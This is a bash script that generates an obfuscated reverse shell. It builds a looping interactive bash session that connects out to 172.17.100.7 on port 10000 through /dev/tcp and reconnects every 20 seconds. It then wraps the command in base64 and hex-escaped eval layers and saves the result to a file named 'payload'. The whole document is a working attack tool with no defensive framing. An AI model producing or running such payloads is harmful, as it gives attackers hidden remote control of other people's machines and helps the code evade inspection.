#!/bin/bash #Reverse shell Bash cmd='while true; do (/bin/bash -i > /dev/tcp/172.17.100.7/10000 0>&1 2>&1) > /dev/null 2>&1; [ "$?" == 1 ] && sleep 20; done' b64="$(echo -n "$cmd" | base64)" middle="eval \`echo \"$b64\" | base64 -di\`" code=$(echo -n "$middle" | hexdump -v -e '"\\\x" 1/1 "%02x"') hex="eval \`echo -e \"$code\"\`" echo -e "\n*** Obfuscated Reverse Bash Shell Script for IP: 172.17.100.7 and TCP port: 10000***\n" echo "$hex" | tee payload [ -s payload ] && echo -e "\n*** Script has been stored in file 'payload' ***"